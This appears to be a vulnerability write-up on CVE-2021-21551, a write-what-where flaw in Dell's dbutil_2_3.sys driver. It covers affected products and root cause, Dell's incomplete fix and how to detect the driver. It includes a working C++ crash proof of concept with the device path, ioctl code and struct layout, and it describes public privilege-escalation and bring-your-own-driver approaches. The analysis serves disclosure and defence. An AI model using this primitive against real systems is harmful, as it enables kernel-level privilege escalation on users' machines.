Description

On May 4, 2021, Dell released Dell Security Advisory 2021-088 which describes a privilege escalation vulnerability in their dbutil_2_3.sys driver. The vulnerability is assigned CVE-2021-21551 and NIST assigned it a CVSSv3 score of 7.8. The vulnerable driver is utilized during the firmware update process and is therefore widely deployed across Dell products. Please see the advisory for the full list of impacted products.

The vulnerability is the result of a write-what-where condition (CWE-123) in which a low privileged user can direct the driver to write attacker controlled data to an arbitrary memory address via an ioctl call. This allows the low privileged user to escalate permissions to SYSTEM by overwriting data structures in kernel memory. Arbitrary modification of kernel memory is also useful to an attacker with SYSTEM privileges to bypass or disable security features that are not otherwise accessible. As such, the vulnerable driver could reasonably be used in Bring Your Own Vulnerable Driver (BYOVD) attacks in the wild.

A variety of public exploits, including a Metasploit module, have been published for this vulnerability. The vulnerability has also been reportedly used in the wild.

Affected products

The following products are affected. Please see DSA-2021-088 Table A for an extensive list of affected platforms and versions.

• Firmware update utility packages, including BIOS update utilities, Thunderbolt firmware update utilities, TPM firmware update utilities and dock firmware update utilities.
  
• All Dell Download Notification solutions. Dell Command Update, Dell Update, Alienware Update, and Dell SupportAssist for PCs.
  
• Dell System Inventory Agent
  
• Dell Platform Tags
  
• Dell BIOS Flash Utility
  

Root Cause Analysis

The vulnerability can be recreated using this minimized proof of concept:

#include <cstdlib>
#include <iostream>
#include <Windows.h>

namespace
{
    const std::string s_driverHandle("\\\\.\\DBUtil_2_3");

    uint32_t s_write_ioctl = 0x9b0c1ec8;

    struct exploit_struct
    {
        uint64_t unused0;
        void* write_ptr;
        uint64_t unused1;
        uint64_t write_data;
    };
}

int main(int p_argc, char** p_argv)
{
    HANDLE driverHandle = CreateFileA(s_driverHandle.c_str(), GENERIC_WRITE | GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
    if (INVALID_HANDLE_VALUE == driverHandle)
    {
        std::wcerr << "[!] Failed to get a handle to " << s_driverHandle.c_str() << std::endl;
        return EXIT_FAILURE;
    }

    exploit_struct crash = { 0, (void*)0x4141414141414141, 0, 0 };
    char outBuf[32] = { 0 };
    DWORD bytesReturned = 0;
    DeviceIoControl(driverHandle, s_write_ioctl, &crash, sizeof(exploit_struct), &outBuf, sizeof(outBuf), &bytesReturned, 0);
    return EXIT_FAILURE;
}

In the above proof of concept, we open a handle to \\.\DBUtil_2_3 and issue ioctl control code 0x9b0c1ec8. With the ioctl code we also provide a 32-byte struct containing the exploit logic. Exploitation is possible because some of the struct’s members are passed directly into a memmove. As a reminder, memmove is defined as:

void *memmove(void *dest, const void *src, size_t n);

The address stored in the struct’s write_ptr will be used as the dest parameter in the vulnerable memmove and a pointer to the write_data member will be used as the src parameter. That means that the contents of write_data will be written to the address pointed to by write_ptr.

The above screenshot shows the affected function and memmove call. Note that Ghidra identifies the function as a memcpy but, for our purposes, the distinction doesn’t matter much.

The proof of concept above will attempt to write 8 bytes of 0 to the address 0x4141414141414141. Analysis of the resulting crash below shows the attempted write of 0 to 0x4141414141414141:

CONTEXT:  ffffb30c576add00 -- (.cxr 0xffffb30c576add00)
rax=0000000000000000 rbx=ffffa20f0749bec0 rcx=4141414141414141
rdx=bebe60cdc7729697 rsi=0000000000000001 rdi=ffffa20f0749bec0
rip=fffff8047c5d17b2 rsp=ffffb30c576ae708 rbp=ffffa20f07ec2b10
 r8=0000000000000007  r9=ffffa20f08b3d7c0 r10=fffff8047c5d1170
r11=4141414141414141 r12=0000000000000000 r13=0000000000000000
r14=ffffa20f09c0f7f0 r15=ffffa20f0749bd70
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050202
DBUtil_2_3+0x17b2:
fffff804`7c5d17b2 8801            mov     byte ptr [rcx],al ds:002b:41414141`41414141=??
Resetting default scope

PROCESS_NAME:  crasher.exe

Exploits

The various public exploits for this vulnerability have taken a few approaches to exploitation. @waldoirc’s exploit grants the attacker SeImpersonatePrivilege and then impersonates SYSTEM via a named pipe to escalate privileges. @Void_Sec and @zeroSteiner both wrote exploits that modified the process token for privilege escalation. And @33y0re went the extra mile and achieved privilege escalation via page table corruption.

While all of the previously mentioned exploits are for low privileged users to escalate to SYSTEM, it also appears likely that this vulnerability is being used in BYOVD attacks. The following VirusTotal screenshot shows the coin-miner TJprojMain has been observed to drop dbutil_2_3.sys to disk.

Patch

Dell didn’t truly patch this issue. Their mitigation involved deleting dbutil_2_3.sys and switching to a driver named DBUtilDrv2.sys, a driver that has existed since at least 2019. While the two drivers share some code, there is a notable difference in structure. Perhaps most importantly though, DBUtilDrv2.sys is not accessible to localhost\Everyone like dbutil_2_3.sys is.

Processed 1 device objects.
0: kd> !devobj ffffd9884bb95670
Device object (ffffd9884bb95670) is for:
 DBUtil_2_5 \Driver\DBUtilDrv2 DriverObject ffffd9884bba3800
Current Irp 00000000 RefCount 0 Type 00000022 Flags 00002044
SecurityDescriptor ffffc90b6d294ba0 DevExt ffffd9884bb95560 DevObjExt ffffd9884bb957e8
ExtensionFlags (0000000000)  
Characteristics (0x00000100)  FILE_DEVICE_SECURE_OPEN
AttachedTo (Lower) ffffd9884b359730 \Driver\PnpManager
Device queue is not busy.
0: kd> !sd ffffc90b6d294ba0 0x1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x9814
            SE_DACL_PRESENT
            SE_SACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_DACL_PROTECTED
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x58
->Dacl    : ->AceCount   : 0x3
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001f01ff
->Dacl    : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x001f01ff
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)

->Dacl    : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[2]: ->AceFlags: 0x0
->Dacl    : ->Ace[2]: ->AceSize: 0x24
->Dacl    : ->Ace[2]: ->Mask : 0x001f01ff
->Dacl    : ->Ace[2]: ->SID: S-1-5-21-3819158199-2843755626-3941670155-500 (User: AlbinoLobsterDev\Administrator)

Unfortunately, amongst the shared code is the vulnerable ioctl and memmove. The proof of concept crashing exploit that is presented at the beginning of this post can trigger a BSOD against DBUtilDrv2.sys versions 2.5 and 2.6 with minimal tweaking. Which likely means an attacker with administrative privileges could also use DBUtilDrv2.sys in a BYOVD style attacks to gain Ring0 access.

Dell addressed issues with DBUtilDrv2.sys in August 2021 and assigned CVE-2021-36276. See DSA-2021-152 for additional details.

Guidance

Dell has a fairly extensive mitigations and update guide in DSA-2021-088. But there are a few simple ways to determine if your systems may be vulnerable. You can look for dbutil_2_3.sys in C:\Windows\Temp or %APPDATA%\Temp. You can also look for a running instance by querying service control with the following command: sc.exe query DBUtil_2_3. Example output follows:

C:\Windows\system32>sc.exe query DBUtil_2_3

SERVICE_NAME: DBUtil_2_3
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Citations

• DSA-2021-088: Dell Client Platform Security Update for an Insufficient Access Control Vulnerability in the Dell dbutil Driver
  
• CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws
  
• CrowdStrike Falcon Detects Kernel Attacks Exploiting Vulnerable Dell Driver (CVE-2021-21551)
  
• Reverse Engineering & Exploiting Dell CVE-2021-21551
  
• Exploit Development: CVE-2021-21551 – Dell ‘dbutil_2_3.sys’ Kernel Exploit Writeup
  
• Add Exploit For CVE-2021-21551 (Dell DBUtil_2_3 IOCTL)
  
• CVE-2021-21551: An Extended Writeup on a Vulnerable Kernel Driver
  
• Exploit to SYSTEM for CVE-2021-21551
  

As per SentinelLabs’ blog post:

• SentinelLabs has discovered five high severity flaws in Dell’s firmware update driver impacting Dell desktops, laptops, notebooks and tablets.
  
• Attackers may exploit these vulnerabilities to locally escalate to kernel-mode privileges.
  
• Since 2009, Dell has released hundreds of millions of Windows devices worldwide which contain the vulnerable driver.
  
• SentinelLabs findings were proactively reported to Dell on Dec 1, 2020 and are tracked as CVE-2021-21551, marked with CVSS Score 8.8.
  
• Dell has released a security update to its customers to address this vulnerability.
  
• At this time, SentinelOne has not discovered evidence of in-the-wild abuse.
  

I expect this to be a long-lived LPE, since it affects so many devices, exploitation is straightforward, and patching is somewhat inconvenient.

ETA: @smcintyre-r7 has written an exploit for CVE-2021-21551.